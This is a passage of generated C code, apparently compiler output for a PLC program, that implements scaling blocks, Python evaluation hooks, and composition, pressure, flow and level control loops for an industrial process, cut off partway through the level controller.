__SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + #define GetFbVar(var,...) __GET_VAR(data__->var,__VA_ARGS__) + #define SetFbVar(var,val,...) __SET_VAR(data__->,var,__VA_ARGS__,val) +extern void __PythonEvalFB(int, PYTHON_EVAL*);__PythonEvalFB(0, data__); + #undef GetFbVar + #undef SetFbVar +; + + goto __end; + +__end: + return; +} // PYTHON_EVAL_body__() + + + + + +void PYTHON_POLL_init__(PYTHON_POLL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->TRIG,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->CODE,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->ACK,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->RESULT,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->STATE,0,retain) + __INIT_VAR(data__->BUFFER,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->PREBUFFER,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->TRIGM1,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->TRIGGED,__BOOL_LITERAL(FALSE),retain) +} + +// Code part +void PYTHON_POLL_body__(PYTHON_POLL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + #define GetFbVar(var,...) __GET_VAR(data__->var,__VA_ARGS__) + #define SetFbVar(var,val,...) __SET_VAR(data__->,var,__VA_ARGS__,val) +extern void __PythonEvalFB(int, PYTHON_EVAL*);__PythonEvalFB(1,(PYTHON_EVAL*)(void*)data__); + #undef GetFbVar + #undef SetFbVar +; + + goto __end; + +__end: + return; +} // PYTHON_POLL_body__() + + + + + +void PYTHON_GEAR_init__(PYTHON_GEAR *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->N,0,retain) + __INIT_VAR(data__->TRIG,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->CODE,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->ACK,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->RESULT,__STRING_LITERAL(0,""),retain) + PYTHON_EVAL_init__(&data__->PY_EVAL,retain); + __INIT_VAR(data__->COUNTER,0,retain) + __INIT_VAR(data__->ADD10_OUT,0,retain) + __INIT_VAR(data__->EQ13_OUT,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->SEL15_OUT,0,retain) + __INIT_VAR(data__->AND7_OUT,__BOOL_LITERAL(FALSE),retain) +} + +// Code part +void PYTHON_GEAR_body__(PYTHON_GEAR *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->,ADD10_OUT,,ADD__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (UINT)__GET_VAR(data__->COUNTER,), + (UINT)1)); + __SET_VAR(data__->,EQ13_OUT,,EQ__BOOL__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (UINT)__GET_VAR(data__->N,), + (UINT)__GET_VAR(data__->ADD10_OUT,))); + __SET_VAR(data__->,SEL15_OUT,,SEL__UINT__BOOL__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (BOOL)__GET_VAR(data__->EQ13_OUT,), + (UINT)__GET_VAR(data__->ADD10_OUT,), + (UINT)0)); + __SET_VAR(data__->,COUNTER,,__GET_VAR(data__->SEL15_OUT,)); + __SET_VAR(data__->,AND7_OUT,,AND__BOOL__BOOL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (BOOL)__GET_VAR(data__->EQ13_OUT,), + (BOOL)__GET_VAR(data__->TRIG,))); + __SET_VAR(data__->PY_EVAL.,TRIG,,__GET_VAR(data__->AND7_OUT,)); + __SET_VAR(data__->PY_EVAL.,CODE,,__GET_VAR(data__->CODE,)); + PYTHON_EVAL_body__(&data__->PY_EVAL); + __SET_VAR(data__->,ACK,,__GET_VAR(data__->PY_EVAL.ACK,)); + __SET_VAR(data__->,RESULT,,__GET_VAR(data__->PY_EVAL.RESULT,)); + + goto __end; + +__end: + return; +} // PYTHON_GEAR_body__() + + + + + +void SCALE_TO_REAL_init__(SCALE_TO_REAL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->RAW_INPUT_VALUE,0,retain) + __INIT_VAR(data__->SCALED_REAL,0,retain) + __INIT_VAR(data__->REAL_MAX,0,retain) + __INIT_VAR(data__->REAL_MIN,0,retain) + __INIT_VAR(data__->RAW_MAX,65535,retain) + __INIT_VAR(data__->RAW_MIN,0,retain) + __INIT_VAR(data__->RATE,0,retain) + __INIT_VAR(data__->OFFSET,0,retain) +} + +// Code part +void SCALE_TO_REAL_body__(SCALE_TO_REAL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->,RATE,,((__GET_VAR(data__->REAL_MAX,) - __GET_VAR(data__->REAL_MIN,)) / UINT_TO_REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)(__GET_VAR(data__->RAW_MAX,) - __GET_VAR(data__->RAW_MIN,))))); + __SET_VAR(data__->,OFFSET,,(__GET_VAR(data__->REAL_MIN,) - (UINT_TO_REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->RAW_MIN,)) * __GET_VAR(data__->RATE,)))); + __SET_VAR(data__->,SCALED_REAL,,((UINT_TO_REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->RAW_INPUT_VALUE,)) * __GET_VAR(data__->RATE,)) + __GET_VAR(data__->OFFSET,))); + + goto __end; + +__end: + return; +} // SCALE_TO_REAL_body__() + + + + + +void SCALE_TO_UINT_init__(SCALE_TO_UINT *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->REAL_IN,0,retain) + __INIT_VAR(data__->UINT_OUT,0,retain) + __INIT_VAR(data__->DIV1_OUT,0,retain) + __INIT_VAR(data__->MUL4_OUT,0,retain) + __INIT_VAR(data__->REAL_TO_UINT6_OUT,0,retain) +} + +// Code part +void SCALE_TO_UINT_body__(SCALE_TO_UINT *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->,DIV1_OUT,,DIV__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->REAL_IN,), + (REAL)100.0)); + __SET_VAR(data__->,MUL4_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->DIV1_OUT,), + (REAL)65535.0)); + __SET_VAR(data__->,REAL_TO_UINT6_OUT,,REAL_TO_UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->MUL4_OUT,))); + __SET_VAR(data__->,UINT_OUT,,__GET_VAR(data__->REAL_TO_UINT6_OUT,)); + + goto __end; + +__end: + return; +} // SCALE_TO_UINT_body__() + + + + + +void COMPOSITION_CONTROL_init__(COMPOSITION_CONTROL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->A_IN_PURGE_REAL,47.00,retain) + __INIT_VAR(data__->A_IN_PURGE,32000,retain) + __INIT_VAR(data__->A_SETPOINT_REAL,47.00,retain) + __INIT_VAR(data__->A_SETPOINT,32000,retain) + __INIT_VAR(data__->CURR_POS,16000,retain) + __INIT_VAR(data__->VALVE_POS_REAL,25.0,retain) + __INIT_VAR(data__->POS_UPDATE_REAL,0.0,retain) + __INIT_VAR(data__->VALVE_POS_NOMINAL,25.0,retain) + __INIT_VAR(data__->NEW_POS,16000,retain) + __INIT_VAR(data__->COMPOSITION_K,1.0,retain) + __INIT_VAR(data__->COMPOSITION_TI,99.0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL3,retain); + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL2,retain); + SCALE_TO_UINT_init__(&data__->SCALE_TO_UINT0,retain); + __INIT_VAR(data__->COMP_MAX,100.0,retain) + __INIT_VAR(data__->COMP_MIN,0.0,retain) + __INIT_VAR(data__->POS_MAX,100.0,retain) + __INIT_VAR(data__->POS_MIN,0.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + __INIT_VAR(data__->SUB45_OUT,0,retain) + __INIT_VAR(data__->MUL46_OUT,0,retain) + __INIT_VAR(data__->ADD42_OUT,0,retain) + __INIT_VAR(data__->LIMIT44_OUT,0,retain) +} + +// Code part +void COMPOSITION_CONTROL_body__(COMPOSITION_CONTROL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL3.,RAW_INPUT_VALUE,,__GET_VAR(data__->A_IN_PURGE,)); + __SET_VAR(data__->SCALE_TO_REAL3.,REAL_MAX,,__GET_VAR(data__->COMP_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL3.,REAL_MIN,,__GET_VAR(data__->COMP_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL3); + __SET_VAR(data__->,A_IN_PURGE_REAL,,__GET_VAR(data__->SCALE_TO_REAL3.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL2.,RAW_INPUT_VALUE,,__GET_VAR(data__->A_SETPOINT,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MAX,,__GET_VAR(data__->COMP_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MIN,,__GET_VAR(data__->COMP_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL2); + __SET_VAR(data__->,A_SETPOINT_REAL,,__GET_VAR(data__->SCALE_TO_REAL2.SCALED_REAL,)); + __SET_VAR(data__->,SUB45_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->A_SETPOINT_REAL,), + (REAL)__GET_VAR(data__->A_IN_PURGE_REAL,))); + __SET_VAR(data__->,MUL46_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB45_OUT,), + (REAL)__GET_VAR(data__->COMPOSITION_K,))); + __SET_VAR(data__->,POS_UPDATE_REAL,,__GET_VAR(data__->MUL46_OUT,)); + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_POS,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->POS_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->POS_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,VALVE_POS_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->,ADD42_OUT,,ADD__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->VALVE_POS_REAL,), + (REAL)__GET_VAR(data__->POS_UPDATE_REAL,))); + __SET_VAR(data__->,LIMIT44_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_MIN,), + (REAL)__GET_VAR(data__->ADD42_OUT,), + (REAL)__GET_VAR(data__->POS_MAX,))); + __SET_VAR(data__->SCALE_TO_UINT0.,REAL_IN,,__GET_VAR(data__->LIMIT44_OUT,)); + SCALE_TO_UINT_body__(&data__->SCALE_TO_UINT0); + __SET_VAR(data__->,NEW_POS,,__GET_VAR(data__->SCALE_TO_UINT0.UINT_OUT,)); + + goto __end; + +__end: + return; +} // COMPOSITION_CONTROL_body__() + + + + + +void INITIALIZE_SP_init__(INITIALIZE_SP *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->FLOW_SP_C,13107,retain) + __INIT_VAR(data__->A_SP_C,30801,retain) + __INIT_VAR(data__->PRESS_SP_C,55295,retain) + __INIT_VAR(data__->OVER_SP_C,31675,retain) + __INIT_VAR(data__->LEVEL_SP_C,28835,retain) + __INIT_VAR(data__->FLOW_SP,0,retain) + __INIT_VAR(data__->A_SP,0,retain) + __INIT_VAR(data__->PRESS_SP,0,retain) + __INIT_VAR(data__->OVER_SP,0,retain) + __INIT_VAR(data__->LEVEL_SP,0,retain) + __INIT_VAR(data__->MOVE3_OUT,0,retain) + __INIT_VAR(data__->MOVE7_OUT,0,retain) + __INIT_VAR(data__->MOVE11_OUT,0,retain) + __INIT_VAR(data__->MOVE15_OUT,0,retain) + __INIT_VAR(data__->MOVE19_OUT,0,retain) +} + +// Code part +void INITIALIZE_SP_body__(INITIALIZE_SP *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->,MOVE3_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->A_SP_C,))); + __SET_VAR(data__->,A_SP,,__GET_VAR(data__->MOVE3_OUT,)); + __SET_VAR(data__->,MOVE7_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->FLOW_SP_C,))); + __SET_VAR(data__->,FLOW_SP,,__GET_VAR(data__->MOVE7_OUT,)); + __SET_VAR(data__->,MOVE11_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->OVER_SP_C,))); + __SET_VAR(data__->,OVER_SP,,__GET_VAR(data__->MOVE11_OUT,)); + __SET_VAR(data__->,MOVE15_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->LEVEL_SP_C,))); + __SET_VAR(data__->,LEVEL_SP,,__GET_VAR(data__->MOVE15_OUT,)); + __SET_VAR(data__->,MOVE19_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->PRESS_SP_C,))); + __SET_VAR(data__->,PRESS_SP,,__GET_VAR(data__->MOVE19_OUT,)); + + goto __end; + +__end: + return; +} // INITIALIZE_SP_body__() + + + + + +void PRESSURE_CONTROL_init__(PRESSURE_CONTROL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->PRESSURE_REAL,2700.0,retain) + __INIT_VAR(data__->PRESSURE,58981,retain) + __INIT_VAR(data__->PRESSURE_SP_REAL,2700.0,retain) + __INIT_VAR(data__->PRESSURE_SP,58981,retain) + __INIT_VAR(data__->CURR_POS,30000,retain) + __INIT_VAR(data__->VALVE_POS_REAL,39.25,retain) + __INIT_VAR(data__->POS_UPDATE_REAL,0.0,retain) + __INIT_VAR(data__->VALVE_POS_NOMINAL,39.25,retain) + __INIT_VAR(data__->VALVE_POS,25886,retain) + __INIT_VAR(data__->PRESSURE_K,20.0,retain) + __INIT_VAR(data__->PRESSURE_TI,999.0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL5,retain); + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL4,retain); + SCALE_TO_UINT_init__(&data__->SCALE_TO_UINT0,retain); + __INIT_VAR(data__->PRESSURE_MAX,3200.00,retain) + __INIT_VAR(data__->PRESSURE_MIN,0.0,retain) + __INIT_VAR(data__->POS_MIN,0.0,retain) + __INIT_VAR(data__->POS_MAX,100.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + __INIT_VAR(data__->SUB57_OUT,0,retain) + __INIT_VAR(data__->MUL60_OUT,0,retain) + __INIT_VAR(data__->SUB53_OUT,0,retain) + __INIT_VAR(data__->LIMIT55_OUT,0,retain) +} + +// Code part +void PRESSURE_CONTROL_body__(PRESSURE_CONTROL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL5.,RAW_INPUT_VALUE,,__GET_VAR(data__->PRESSURE,)); + __SET_VAR(data__->SCALE_TO_REAL5.,REAL_MAX,,__GET_VAR(data__->PRESSURE_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL5.,REAL_MIN,,__GET_VAR(data__->PRESSURE_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL5); + __SET_VAR(data__->,PRESSURE_REAL,,__GET_VAR(data__->SCALE_TO_REAL5.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL4.,RAW_INPUT_VALUE,,__GET_VAR(data__->PRESSURE_SP,)); + __SET_VAR(data__->SCALE_TO_REAL4.,REAL_MAX,,__GET_VAR(data__->PRESSURE_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL4.,REAL_MIN,,__GET_VAR(data__->PRESSURE_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL4); + __SET_VAR(data__->,PRESSURE_SP_REAL,,__GET_VAR(data__->SCALE_TO_REAL4.SCALED_REAL,)); + __SET_VAR(data__->,SUB57_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->PRESSURE_SP_REAL,), + (REAL)__GET_VAR(data__->PRESSURE_REAL,))); + __SET_VAR(data__->,MUL60_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB57_OUT,), + (REAL)__GET_VAR(data__->PRESSURE_K,))); + __SET_VAR(data__->,POS_UPDATE_REAL,,__GET_VAR(data__->MUL60_OUT,)); + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_POS,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->POS_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->POS_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,VALVE_POS_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->,SUB53_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->VALVE_POS_REAL,), + (REAL)__GET_VAR(data__->POS_UPDATE_REAL,))); + __SET_VAR(data__->,LIMIT55_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_MIN,), + (REAL)__GET_VAR(data__->SUB53_OUT,), + (REAL)__GET_VAR(data__->POS_MAX,))); + __SET_VAR(data__->SCALE_TO_UINT0.,REAL_IN,,__GET_VAR(data__->LIMIT55_OUT,)); + SCALE_TO_UINT_body__(&data__->SCALE_TO_UINT0); + __SET_VAR(data__->,VALVE_POS,,__GET_VAR(data__->SCALE_TO_UINT0.UINT_OUT,)); + + goto __end; + +__end: + return; +} // PRESSURE_CONTROL_body__() + + + + + +void FLOW_CONTROL_init__(FLOW_CONTROL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->FLOW_K,1.0,retain) + __INIT_VAR(data__->FLOW_TI,999.0,retain) + __INIT_VAR(data__->FLOW_TD,0.0,retain) + __INIT_VAR(data__->PRODUCT_FLOW,6554,retain) + __INIT_VAR(data__->PRODUCT_FLOW_REAL,100.0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + __INIT_VAR(data__->POS_UPDATE_REAL,0.0,retain) + __INIT_VAR(data__->CURR_POS_REAL,60.9,retain) + __INIT_VAR(data__->NEW_POS,35000,retain) + __INIT_VAR(data__->CURR_POS,35000,retain) + __INIT_VAR(data__->FLOW_SET_REAL,100.0,retain) + __INIT_VAR(data__->FLOW_SET_IN,6554,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL1,retain); + __INIT_VAR(data__->FLOW_MAX,500.0,retain) + __INIT_VAR(data__->FLOW_MIN,0.0,retain) + __INIT_VAR(data__->POS_MIN,0.0,retain) + __INIT_VAR(data__->POS_MAX,100.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL2,retain); + SCALE_TO_UINT_init__(&data__->SCALE_TO_UINT0,retain); + __INIT_VAR(data__->SUB59_OUT,0,retain) + __INIT_VAR(data__->MUL60_OUT,0,retain) + __INIT_VAR(data__->ADD58_OUT,0,retain) + __INIT_VAR(data__->LIMIT40_OUT,0,retain) +} + +// Code part +void FLOW_CONTROL_body__(FLOW_CONTROL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->PRODUCT_FLOW,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->FLOW_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->FLOW_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,PRODUCT_FLOW_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL1.,RAW_INPUT_VALUE,,__GET_VAR(data__->FLOW_SET_IN,)); + __SET_VAR(data__->SCALE_TO_REAL1.,REAL_MAX,,__GET_VAR(data__->FLOW_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL1.,REAL_MIN,,__GET_VAR(data__->FLOW_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL1); + __SET_VAR(data__->,FLOW_SET_REAL,,__GET_VAR(data__->SCALE_TO_REAL1.SCALED_REAL,)); + __SET_VAR(data__->,SUB59_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->FLOW_SET_REAL,), + (REAL)__GET_VAR(data__->PRODUCT_FLOW_REAL,))); + __SET_VAR(data__->,MUL60_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB59_OUT,), + (REAL)__GET_VAR(data__->FLOW_K,))); + __SET_VAR(data__->,POS_UPDATE_REAL,,__GET_VAR(data__->MUL60_OUT,)); + __SET_VAR(data__->SCALE_TO_REAL2.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_POS,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MAX,,__GET_VAR(data__->POS_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MIN,,__GET_VAR(data__->POS_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL2); + __SET_VAR(data__->,CURR_POS_REAL,,__GET_VAR(data__->SCALE_TO_REAL2.SCALED_REAL,)); + __SET_VAR(data__->,ADD58_OUT,,ADD__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->CURR_POS_REAL,), + (REAL)__GET_VAR(data__->POS_UPDATE_REAL,))); + __SET_VAR(data__->,LIMIT40_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_MIN,), + (REAL)__GET_VAR(data__->ADD58_OUT,), + (REAL)__GET_VAR(data__->POS_MAX,))); + __SET_VAR(data__->SCALE_TO_UINT0.,REAL_IN,,__GET_VAR(data__->LIMIT40_OUT,)); + SCALE_TO_UINT_body__(&data__->SCALE_TO_UINT0); + __SET_VAR(data__->,NEW_POS,,__GET_VAR(data__->SCALE_TO_UINT0.UINT_OUT,)); + + goto __end; + +__end: + return; +} // FLOW_CONTROL_body__() + + + + + +void LEVEL_CONTROL_init__(LEVEL_CONTROL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->LIQUID_LEVEL,0,retain) + __INIT_VAR(data__->LEVEL_SP,30000,retain) + __INIT_VAR(data__->CURR_POS,0,retain) + __INIT_VAR(data__->NEW_POS,0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + __INIT_VAR(data__->LEVEL_K,10.0,retain) + __INIT_VAR(data__->LEVEL_TI,99999.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + __INIT_VAR(data__->LEVEL_MAX,100.0,retain) + __INIT_VAR(data__->LEVEL_MIN,0.0,retain) + __INIT_VAR(data__->POS_MAX,100.0,retain) + __INIT_VAR(data__->POS_MIN,0.0,retain) + __INIT_VAR(data__->LEVEL_REAL,44.18,retain) + __INIT_VAR(data__->POS_REAL,47.0,retain) + __INIT_VAR(data__->POS_UPDATE_REAL,0.0,retain) + __INIT_VAR(data__->SP_REAL,44.18,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL1,retain); + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL2,retain); + SCALE_TO_UINT_init__(&data__->SCALE_TO_UINT0,retain); + __INIT_VAR(data__->SUB32_OUT,0,retain) + __INIT_VAR(data__->MUL33_OUT,0,retain) + __INIT_VAR(data__->SUB30_OUT,0,retain) + __INIT_VAR(data__->LIMIT25_OUT,0,retain) +} + +// Code part +void LEVEL_CONTROL_body__(LEVEL_CONTROL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->LIQUID_LEVEL,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->LEVEL_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->LEVEL_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,LEVEL_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL1.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_POS,)); + __SET_VAR(data__->SCALE_TO_REAL1.,REAL_MAX,,__GET_VAR(data__->POS_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL1.,REAL_MIN,,__GET_VAR(data__->POS_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL1); + 